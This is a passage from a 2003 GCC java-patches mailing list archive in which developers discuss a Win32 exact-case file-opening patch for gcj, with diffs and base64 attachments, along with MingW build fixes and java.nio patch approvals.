something like an AC_LINK_FILES and AC_DEFINE and avoid the ugly #ifdef-ing in the source files themselves. However, I was thwarted in this by not having a configure.in at the gcc/java level. Could this be done better? Here is my defense of this patch: Andrew had mentioned that he was worried about introducing platform-specific stuff in the front end and argued that such functionality might better be moved to the runtime library. However, in this case, it isn't a question of enforcing strict case checking throughout the entire compilation process. In fact, Ranjit even has patches which do exactly the opposite for certain file types. However, public Java classes must exist in same-named, same-case source files and therefore (cringe), I believe that it's the compiler's job (and not the runtime's job) to enforce case-strictness for these specific instances on case-insensitive filesystems. Since there is no portable way of doing this, it stands to reason that platform-specific code must trickle into the front end. Does this make sense or am I full of it? I've put the patch itself in the body of this email, but am attaching jcf-win32.c, which would be a new repository file, as well as a test case which fails without this patch. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-03-10 Mohan Embar * jcf-win32.c: added to repository. Defines Win32-specific jcf_open_exact_case() * Make-lang.in: added jcf-win32.c * jcf.h: defined macro JCF_OPEN_EXACT_CASE which resolves to open() on non-Win32 platforms and Win32-specific jcf_open_exact_case() on Win32 * jcf-io.c: use JCF_OPEN_EXACT_CASE when trying .java and .class files Index: Make-lang.in =================================================================== RCS file: /cvsroot/gcc/gcc/gcc/java/Make-lang.in,v retrieving revision 1.91.12.3 diff -u -2 -r1.91.12.3 Make-lang.in --- Make-lang.in 26 Jan 2003 11:31:19 -0000 1.91.12.3 +++ Make-lang.in 11 Mar 2003 04:06:29 -0000 @@ -107,16 +107,16 @@ JAVA_OBJS = java/parse.o java/class.o java/decl.o java/expr.o \ java/constants.o java/lang.o java/typeck.o java/except.o java/verify.o \ - java/zextract.o java/jcf-io.o java/jcf-parse.o java/mangle.o \ - java/mangle_name.o java/builtins.o \ + java/zextract.o java/jcf-io.o java/jcf-win32.o java/jcf-parse.o \ + java/mangle.o java/mangle_name.o java/builtins.o \ java/jcf-write.o java/buffer.o java/check-init.o java/jcf-depend.o \ java/jcf-path.o java/xref.o java/boehm.o java/java-tree-inline.o mkdeps.o -GCJH_OBJS = java/gjavah.o java/jcf-io.o java/jcf-depend.o java/jcf-path.o \ - java/zextract.o version.o mkdeps.o errors.o +GCJH_OBJS = java/gjavah.o java/jcf-io.o java/jcf-win32.o java/jcf-depend.o \ + java/jcf-path.o java/zextract.o version.o mkdeps.o errors.o JVSCAN_OBJS = java/parse-scan.o java/jv-scan.o version.o -JCFDUMP_OBJS = java/jcf-dump.o java/jcf-io.o java/jcf-depend.o java/jcf-path.o \ - java/zextract.o errors.o version.o mkdeps.o +JCFDUMP_OBJS = java/jcf-dump.o java/jcf-io.o java/jcf-win32.o java/jcf-depend.o \ + java/jcf-path.o java/zextract.o errors.o version.o mkdeps.o JVGENMAIN_OBJS = java/jvgenmain.o java/mangle_name.o errors.o @@ -302,4 +302,5 @@ input.h java/java-except.h $(SYSTEM_H) toplev.h java/parse.h $(GGC_H) \ debug.h real.h gt-java-jcf-parse.h +java/jcf-win32.o: java/jcf-win32.c $(CONFIG_H) $(SYSTEM_H) java/jcf.h java/jcf-write.o: java/jcf-write.c $(CONFIG_H) $(JAVA_TREE_H) java/jcf.h \ $(RTL_H) java/java-opcodes.h java/parse.h java/buffer.h $(SYSTEM_H) \ Index: jcf-io.c =================================================================== RCS file: /cvsroot/gcc/gcc/gcc/java/jcf-io.c,v retrieving revision 1.36.2.2 diff -u -2 -r1.36.2.2 jcf-io.c --- jcf-io.c 10 Mar 2003 19:32:23 -0000 1.36.2.2 +++ jcf-io.c 11 Mar 2003 04:06:30 -0000 @@ -554,5 +554,5 @@ (classname_length <= 30 ? classname_length : 30))); - fd = open (buffer, O_RDONLY | O_BINARY); + fd = JCF_OPEN_EXACT_CASE (buffer, O_RDONLY | O_BINARY); if (fd >= 0) goto found; @@ -566,5 +566,5 @@ (classname_length <= 30 ? classname_length : 30))); - fd = open (buffer, O_RDONLY); + fd = JCF_OPEN_EXACT_CASE (buffer, O_RDONLY); if (fd >= 0) { Index: jcf.h =================================================================== RCS file: /cvsroot/gcc/gcc/gcc/java/jcf.h,v retrieving revision 1.31.20.1 diff -u -2 -r1.31.20.1 jcf.h --- jcf.h 7 Mar 2003 04:39:46 -0000 1.31.20.1 +++ jcf.h 11 Mar 2003 04:06:31 -0000 @@ -82,4 +82,21 @@ #endif +/* On case-insensitive file systems, we need to ensure that a request + to open a .java or .class file is honored only if the file to be + opened is of the exact case we are asking for. In other words, we + want to override the inherent case insensitivity of the underlying + file system. On other platforms, this macro becomes the vanilla + open() call. + + If you want to add another OS, add your define to the list below + (i.e. defined(WIN32) || defined(YOUR_OS)) and add an OS-specific + .c file to Make-lang.in similar to jcf-win32.c */ +#if defined(WIN32) + extern int jcf_open_exact_case(const char* filename, int oflag); + #define JCF_OPEN_EXACT_CASE(x,y) jcf_open_exact_case(x, y) +#else + #define JCF_OPEN_EXACT_CASE open +#endif + struct JCF; typedef int (*jcf_filbuf_t) PARAMS ((struct JCF*, int needed)); ------------vUTAxkkGtI5LQEOqbrDRU4 Content-Disposition: attachment; filename="ExactCase.zip" Content-Type: application/zip Content-Transfer-Encoding: Base64 UEsDBBQAAAAIAEQWai6iS/mHeQAAAJYAAAAJAAAAYnVpbGQuYmF0LY4xD4Iw EEb3/opbGFt3DIOJiS5GQhi7nOWCJW0huYvAv6dax/e+N3xMEmaHQbWX/g7X 2grFxa4+jc7Zl0/nobYx0/qD6ltVikmg7Z635rH3xKJGN4HWEX1q4i7ZmDJk 6QIyLyhvMKBnKN7QRlDK099M+EFFaShnDlBLAwQKAAAAAADaBGouAAAAAAAA AAAAAAAABwAAAG15dGVzdC9QSwMEFAAAAAgAaARqLq3Yu2GyAAAADgEAABIA AABteXRlc3QvTXlUZXN0LmphdmF1j8EOgjAMhu8kvEPlBBdewBgjMTEe8CDc jIcJkyyMjWwFXQzvbnGBmz20Sfvn//72rGpZw6FzyC1uwyAM+uEhRQWVZNZC 7krah8Fn3VtkSGPUooaOCRUXaIRqbndgprHJTwpUhbPIu1QPmPYkQKniLC3K 6/lySogzzSgyNWJkyBdXDz2QyfT3mgF/I1e11625nkIxuSh9JvA42EGUO5gf gZc2La83cKT0Tg/G7qMlDLUvUEsBAhQAFAAAAAgARBZqLqJL+Yd5AAAAlgAA AAkAAAAAAAAAAQAgAAAAAAAAAGJ1aWxkLmJhdFBLAQIUAAoAAAAAANoEai4A AAAAAAAAAAAAAAAHAAAAAAAAAAAAEAAAAKAAAABteXRlc3QvUEsBAhQAFAAA AAgAaARqLq3Yu2GyAAAADgEAABIAAAAAAAAAAQAgAAAAxQAAAG15dGVzdC9N eVRlc3QuamF2YVBLBQYAAAAAAwADAKwAAACnAQAAAAA= ------------vUTAxkkGtI5LQEOqbrDRU4 Content-Disposition: attachment; filename="jcf-win32.c" Content-Type: application/octet-stream Content-Transfer-Encoding: Base64 LyogUGxhdGZvcm0tU3BlY2lmaWMgV2luMzIgRnVuY3Rpb25zCiAgIENvcHly aWdodCAoQykgMjAwMyAgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMu CgpUaGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRp c3RyaWJ1dGUgaXQgYW5kL29yIG1vZGlmeQppdCB1bmRlciB0aGUgdGVybXMg b2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGFzIHB1Ymxpc2hl ZCBieQp0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uOyBlaXRoZXIgdmVy c2lvbiAyLCBvciAoYXQgeW91ciBvcHRpb24pCmFueSBsYXRlciB2ZXJzaW9u LgoKVGhpcyBwcm9ncmFtIGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRo YXQgaXQgd2lsbCBiZSB1c2VmdWwsCmJ1dCBXSVRIT1VUIEFOWSBXQVJSQU5U WTsgd2l0aG91dCBldmVuIHRoZSBpbXBsaWVkIHdhcnJhbnR5IG9mCk1FUkNI QU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9T RS4gIFNlZSB0aGUKR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZm9yIG1v cmUgZGV0YWlscy4KCllvdSBzaG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkg b2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlCmFsb25nIHdpdGgg R05VIENDOyBzZWUgdGhlIGZpbGUgQ09QWUlORy4gIElmIG5vdCwgd3JpdGUg dG8KdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgNTkgVGVtcGxlIFBs YWNlIC0gU3VpdGUgMzMwLApCb3N0b24sIE1BIDAyMTExLTEzMDcsIFVTQS4K CkphdmEgYW5kIGFsbCBKYXZhLWJhc2VkIG1hcmtzIGFyZSB0cmFkZW1hcmtz IG9yIHJlZ2lzdGVyZWQgdHJhZGVtYXJrcwpvZiBTdW4gTWljcm9zeXN0ZW1z LCBJbmMuIGluIHRoZSBVbml0ZWQgU3RhdGVzIGFuZCBvdGhlciBjb3VudHJp ZXMuClRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24gaXMgaW5kZXBlbmRl bnQgb2YgU3VuIE1pY3Jvc3lzdGVtcywgSW5jLiAgKi8KCi8qIFdyaXR0ZW4g YnkgTW9oYW4gRW1iYXIgPGdudXN0dWZmQHRoaXNpc2Nvb2wuY29tPiwgTWFy Y2ggMjAwMy4gKi8KCiNpZmRlZiBXSU4zMgoKI2luY2x1ZGUgImNvbmZpZy5o IgojaW5jbHVkZSAic3lzdGVtLmgiCgojaW5jbHVkZSAiamNmLmgiCgojZGVm aW5lIFdJTjMyX0xFQU5fQU5EX01FQU4KI2luY2x1ZGUgPHdpbmRvd3MuaD4K I3VuZGVmIFdJTjMyX0xFQU5fQU5EX01FQU4KCnN0YXRpYyBpbnQgZmlsZV9u b3RfZm91bmQodm9pZCk7CgpzdGF0aWMgaW50IGZpbGVfbm90X2ZvdW5kKHZv aWQpCnsKICAgIC8qIHNpbXVsYXRlIGFuIG9wZW4oKSBmYWlsdXJlIHdpdGgg RU5PRU5UICovCiAgICBlcnJubyA9IEVOT0VOVDsKICAgIHJldHVybiAtMTsK fQoKaW50IGpjZl9vcGVuX2V4YWN0X2Nhc2UoY29uc3QgY2hhciogZmlsZW5h bWUsIGludCBvZmxhZykKewogICAgaW50IG5GaWxlTGVuSW4gPSBzdHJsZW4o ZmlsZW5hbWUpOwogICAgaW50IG5GaWxlTGVuRm91bmQ7CgogICAgLyogU2Vl IGlmIHdlIGNhbiBmaW5kIHRoaXMgZmlsZS4gKi8KICAgIFdJTjMyX0ZJTkRf REFUQSBmZDsKICAgIEhBTkRMRSBoRmlsZSA9IEZpbmRGaXJzdEZpbGUoZmls ZW5hbWUsICZmZCk7CiAgICBGaW5kQ2xvc2UoaEZpbGUpOwogICAgaWYgKGhG aWxlID09IElOVkFMSURfSEFORExFX1ZBTFVFKQogICAgICAgIHJldHVybiBm aWxlX25vdF9mb3VuZCgpOwoKICAgIG5GaWxlTGVuRm91bmQgPSBzdHJsZW4o ZmQuY0ZpbGVOYW1lKTsKICAgIGlmIChuRmlsZUxlbkZvdW5kID4gbkZpbGVM ZW5JbikKICAgICAgICByZXR1cm4gZmlsZV9ub3RfZm91bmQoKTsKICAgICAg ICAvKiB0aGlzIHNob3VsZCBuZXZlciBoYXBwZW4gKi8KCiAgICAvKiBIZXJl LCB3ZSdyZSBvbmx5IGFjdHVhbGx5IGNvbXBhcmluZyB0aGUgZmlsZW5hbWUg YW5kIG5vdAogICAgICAgY2hlY2tpbmcgdGhlIGNhc2Ugb2YgYW55IGNvbnRh aW5pbmcgZGlyZWN0b3J5IGNvbXBvbmVudHMuCiAgICAgICBBbHRob3VnaCB3 ZSdyZSBub3QgZnVsbHkgb2JleWluZyBvdXIgY29udHJhY3QsIGNoZWNraW5n CiAgICAgICBhbGwgZGlyZWN0b3J5IGNvbXBvbmVudHMgd291bGQgYmUgdGVk aW91cyBhbmQgdGltZS1jb25zdW1pbmcKICAgICAgIGFuZCBpZiB0aGUgZGV2 ZWxvcGVyIHdhbnRzIHRvIHBsYXkgYXJvdW5kIHdpdGggY29leGlzdGluZywK ICAgICAgIG1peGVkLWNhc2UgZGlyZWN0b3J5IG5hbWUgdmFyaWFudHMsIHRo ZXkncmUgYXNraW5nIGZvciB0cm91YmxlCiAgICAgICBhbnl3YXkuLi4uICov CiAgICBpZiAoc3RyY21wKGZpbGVuYW1lK25GaWxlTGVuSW4tbkZpbGVMZW5G b3VuZCwgZmQuY0ZpbGVOYW1lKSkgewogICAgICAgIC8qIHByaW50ZigiKioq KioqKioqKioqXG5SZWplY3RlZDpcbiVzXG4lc1xuKioqKioqKioqKioqXG5c biIsIGZpbGVuYW1lLCBmZC5jRmlsZU5hbWUpOyAqLwogICAgICAgIHJldHVy biBmaWxlX25vdF9mb3VuZCgpOwogICAgfQogICAgZWxzZSB7CiAgICAgICAg cmV0dXJuIG9wZW4oZmlsZW5hbWUsIG9mbGFnKTsKICAgIH0KfQoKI2VuZGlm IC8qIFdJTjMyICovCg== ------------vUTAxkkGtI5LQEOqbrDRU4-- From java-patches-return-6435-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 11 05:56:31 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17934 invoked by alias); 11 Mar 2003 05:56:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17927 invoked from network); 11 Mar 2003 05:56:30 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 11 Mar 2003 05:56:30 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2B5uUQ32734 for ; Mon, 10 Mar 2003 23:56:30 -0600 From: Mohan Embar To: GCJ Patches Date: Mon, 10 Mar 2003 23:56:39 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <200303101624.13078.konqueror@gmx.de> Message-Id: <61NFA04QN6573XA9KF868WWRICA5.3e6d7a97@p733> Subject: Re: Patch: Suppress MingW Build-Busting Net Code MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Michael, >> ChangeLog >> 2003-03-07 Mohan Embar >> >> * gnu/java/nio/natSelectorImpl.cc (java_do_select): #ifdef >> out functionality not implemented under mingw (_Jv_select()) > >The correct solution would be to add a dummy _Jv_select to >libjava/win32.cc. You're right, but how do you feel about Tom (and other) people saying that such code should be separated?: http://gcc.gnu.org/ml/java/2003-02/msg00175.html >Are you sure this is the wrong exception ? What does mingw return when >connection is refused or not possible ? I didn't phrase that too clearly. What I meant is that the PortUnreachableException is correct and that commenting this code block out, as I propose, would mean that an IOException would be thrown instead. Lars had pointed this out: http://gcc.gnu.org/ml/java/2003-02/msg00134.html However, ECONNREFUSED isn't defined under Win32. Win32 returns a WSAECONNREFUSED and puts it in WSAGetLastError() instead of errno. All of the strerror stuff is busted in MingW right now because of this. Ranjit had some clever defines to work around this, but when I inquired about this, Tom and Ranjit seemed to say that it would be better to just fork the code. Things are kind of in limbo at this point and if you keep going full speed with your java.nio.channels stuff (BTW nice job!), then we'll face the same dilemma for these classes too.... I had thought about the _Jv_select() in win32.cc, but I think I subconsciously wanted to put a big nasty #ifdef just to force us to confront this situation either one way or another. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6436-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 11 05:59:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18276 invoked by alias); 11 Mar 2003 05:59:33 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18269 invoked from network); 11 Mar 2003 05:59:32 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.84) by 172.16.49.205 with SMTP; 11 Mar 2003 05:59:32 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 10 Mar 2003 21:59:32 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: "Michael Koch" , "GCJ Patches" References: <200303101624.13078.konqueror@gmx.de> Subject: Re: Patch: Suppress MingW Build-Busting Net Code Date: Tue, 11 Mar 2003 11:31:12 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 11 Mar 2003 05:59:32.0381 (UTC) FILETIME=[62D01CD0:01C2E793] >> I know the #ifdefs are ugly, but they currently run rampant in >> java.net and they unbreak the MingW build while waiting for the >> glorious day that we properly split out the code. Your call... Michael, this refers to an earlier thread on the GCJ list where you and Adam agreed that it would be better to split the java.net code instead of #ifdef-ing for platform specifics. Are you working on this or is it on your TODO list? >> * gnu/java/nio/natSelectorImpl.cc (java_do_select): #ifdef >> out functionality not implemented under mingw (_Jv_select()) > >The correct solution would be to add a dummy _Jv_select to >libjava/win32.cc. BTW, Win32 does have a select( ) so this need not be dummy as such. Ranjit. From java-patches-return-6437-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 11 06:02:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18776 invoked by alias); 11 Mar 2003 06:02:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18769 invoked from network); 11 Mar 2003 06:02:39 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 11 Mar 2003 06:02:38 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2B62cV00995 for ; Tue, 11 Mar 2003 00:02:38 -0600 From: Mohan Embar To: GCJ Patches Date: Tue, 11 Mar 2003 00:02:48 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com Message-Id: Subject: Re: Patch: natSocketChannelImpl.cc use elements + explicit cast MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" (This didn't seem to go out, so I'll try again. Sorry in advance if this creates a duplicate post.) Hi Michael, >Looks okay. Should I commit it ? Is this question directed to me? If you're asking if I'm comfortable with this, the answer is yes. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6438-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 11 06:15:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23458 invoked by alias); 11 Mar 2003 06:15:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23451 invoked from network); 11 Mar 2003 06:15:12 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.199) by 172.16.49.205 with SMTP; 11 Mar 2003 06:15:12 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 10 Mar 2003 22:15:11 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: , References: Subject: Re: Patch for Preview: jcf-io.c and Win32 case-insensitive filename handling Date: Tue, 11 Mar 2003 11:46:51 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 11 Mar 2003 06:15:11.0677 (UTC) FILETIME=[92AD4ED0:01C2E795] > This proposed patch aims to resolve gcj compilation glitches due > to the Win32 case-insensitive filesystem. For my native MingW BTW, does it fix the following test case? Create files "Foo.java" and "foo/Bar.java" within a single folder on Win32 (note the case of the names). Foo.java just contains "public class Foo { }". "foo/Bar.java" just contains "package foo; public class Bar { }". Now: 1. if you do "gcj -C foo/Bar.java" *without* compiling Foo.java first, you get: -------------------------------- 8< -------------------------------- .\foo.java:1: error: Public class `Foo' must be defined in a file called `Foo.java'. public class Foo { } ^ 1 error -------------------------------- 8< -------------------------------- 2. if you do "gcj -C foo/Bar.java" *after* compiling Foo.java to Foo.class, you get: -------------------------------- 8< -------------------------------- Foo.java: In class `foo.Bar': Foo.java: In constructor `()': Foo.java:0: fatal error: reading class Foo for the second time from .\foo.class compilation terminated. -------------------------------- 8< -------------------------------- Note that for some reason, GCJ has lower-cased "foo.class" in the second error message - I could not find an explicit tolower( )/TOLOWER( ) anywhere, so there's something else going on here. Even for the test case in the ZIP file that Mohan has attached, I get the following error (with Mohan's 3.3 build), in which the name has been mysteriously "lowercased" for MyTest.java: -------------------------------- 8< -------------------------------- E:\src\Test\GCJ\Case>gcj -C mytest\MyTest.java .\mytest/mytest.java:3: error: Class `mytest.MyTest' already defined in mytest\MyTest.java:3. public class MyTest ^ .\mytest/mytest.java:12: confused by earlier errors, bailing out -------------------------------- 8< -------------------------------- How/Why? Ranjit From java-patches-return-6439-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 11 06:38:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26733 invoked by alias); 11 Mar 2003 06:38:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26726 invoked from network); 11 Mar 2003 06:38:34 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 11 Mar 2003 06:38:34 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-68-092.ewetel.net [80.228.68.92]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2B6cWgW015127; Tue, 11 Mar 2003 07:38:33 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18sdOZ-0003yS-00; Tue, 11 Mar 2003 07:37:51 +0100 From: Michael Koch To: "Ranjit Mathew" , "Ranjit Mathew" , "GCJ Patches" Subject: Re: Patch: Suppress MingW Build-Busting Net Code Date: Tue, 11 Mar 2003 07:38:50 +0100 User-Agent: KMail/1.5 References: <200303101624.13078.konqueror@gmx.de> In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="windows-1252" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303110738.51926.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Dienstag, 11. M=E4rz 2003 07:01 schrieb Ranjit Mathew: > >> I know the #ifdefs are ugly, but they currently run rampant in > >> java.net and they unbreak the MingW build while waiting for the > >> glorious day that we properly split out the code. Your call... > > Michael, this refers to an earlier thread on the GCJ list where you > and Adam agreed that it would be better to split the java.net > code instead of #ifdef-ing for platform specifics. Are you working > on this or is it on your TODO list? Aah, yes. I have some code for this in my tree. Mainly it moves the=20 code to win32.* and posix.* and then we can use the code from=20 java.net and java.nio and need no #ifdefs in java.net/nio anymore. I thinks I should slowly submit the patches for this. > >> * gnu/java/nio/natSelectorImpl.cc (java_do_select): #ifdef > >> out functionality not implemented under mingw (_Jv_select()) > > > >The correct solution would be to add a dummy _Jv_select to > >libjava/win32.cc. > > BTW, Win32 does have a select( ) so this need not be dummy > as such. Can you provide a patch implementing it in win32.cc ? Tom can then=20 approve it. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+bYR7WSOgCCdjSDsRAmayAJ4g+vXlanQpCbiZvG4FrODwAE8lqACeLhq4 iL5m+gHCrCqNacz7aP4ok9A=3D =3D7Ei/ =2D----END PGP SIGNATURE----- From java-patches-return-6440-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 11 06:40:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27458 invoked by alias); 11 Mar 2003 06:40:33 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27450 invoked from network); 11 Mar 2003 06:40:32 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 172.16.49.205 with SMTP; 11 Mar 2003 06:40:32 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-68-092.ewetel.net [80.228.68.92]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2B6eQZK004050; Tue, 11 Mar 2003 07:40:27 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18sdQO-0003yy-00; Tue, 11 Mar 2003 07:39:44 +0100 From: Michael Koch To: gnustuff@thisiscool.com, GCJ Patches Subject: Re: Patch: natSocketChannelImpl.cc use elements + explicit cast Date: Tue, 11 Mar 2003 07:40:52 +0100 User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="windows-1252" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303110740.53047.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Dienstag, 11. M=E4rz 2003 07:02 schrieb Mohan Embar: > (This didn't seem to go out, so I'll try again. > Sorry in advance if this creates a duplicate post.) > > Hi Michael, > > >Looks okay. Should I commit it ? > > Is this question directed to me? If you're asking if I'm > comfortable with this, the answer is yes. Sorry, this was for Tom or Andrew. I'm surely not the right person for=20 approving these type of patches. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+bYT1WSOgCCdjSDsRAqakAKCcfQFAdl2De0tJX0G2JxbuuOiDYwCfT3qi ORQf14JuV8/QB/GImrHyE90=3D =3DXoHm =2D----END PGP SIGNATURE----- From java-patches-return-6441-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 11 10:29:14 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3212 invoked by alias); 11 Mar 2003 10:29:14 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3204 invoked from network); 11 Mar 2003 10:29:13 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by 172.16.49.205 with SMTP; 11 Mar 2003 10:29:13 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-67-185.ewetel.net [80.228.67.185]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2BAT7gW007087 for ; Tue, 11 Mar 2003 11:29:12 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18sgzi-0004At-00 for ; Tue, 11 Mar 2003 11:28:26 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: Patch: FYI: java.nio. Date: Tue, 11 Mar 2003 11:29:33 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_Nqbb+KRUMFRd1JQ" Message-Id: <200303111129.33863.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_Nqbb+KRUMFRd1JQ Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to fix some issues. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+bbqNWSOgCCdjSDsRArpGAKCUY5iGAcNJFByRa+wdUGFkpuI0zgCeLef3 gR9wH7bsm6nh6Fk/R6NLOME=3D =3DMppW =2D----END PGP SIGNATURE----- --Boundary-00=_Nqbb+KRUMFRd1JQ Content-Type: text/x-diff; charset="iso-8859-15"; name="nio.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="nio.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1771 diff -u -r1.1771 ChangeLog --- ChangeLog 10 Mar 2003 15:31:03 -0000 1.1771 +++ ChangeLog 11 Mar 2003 10:27:45 -0000 @@ -1,3 +1,19 @@ +2003-03-11 Michael Koch 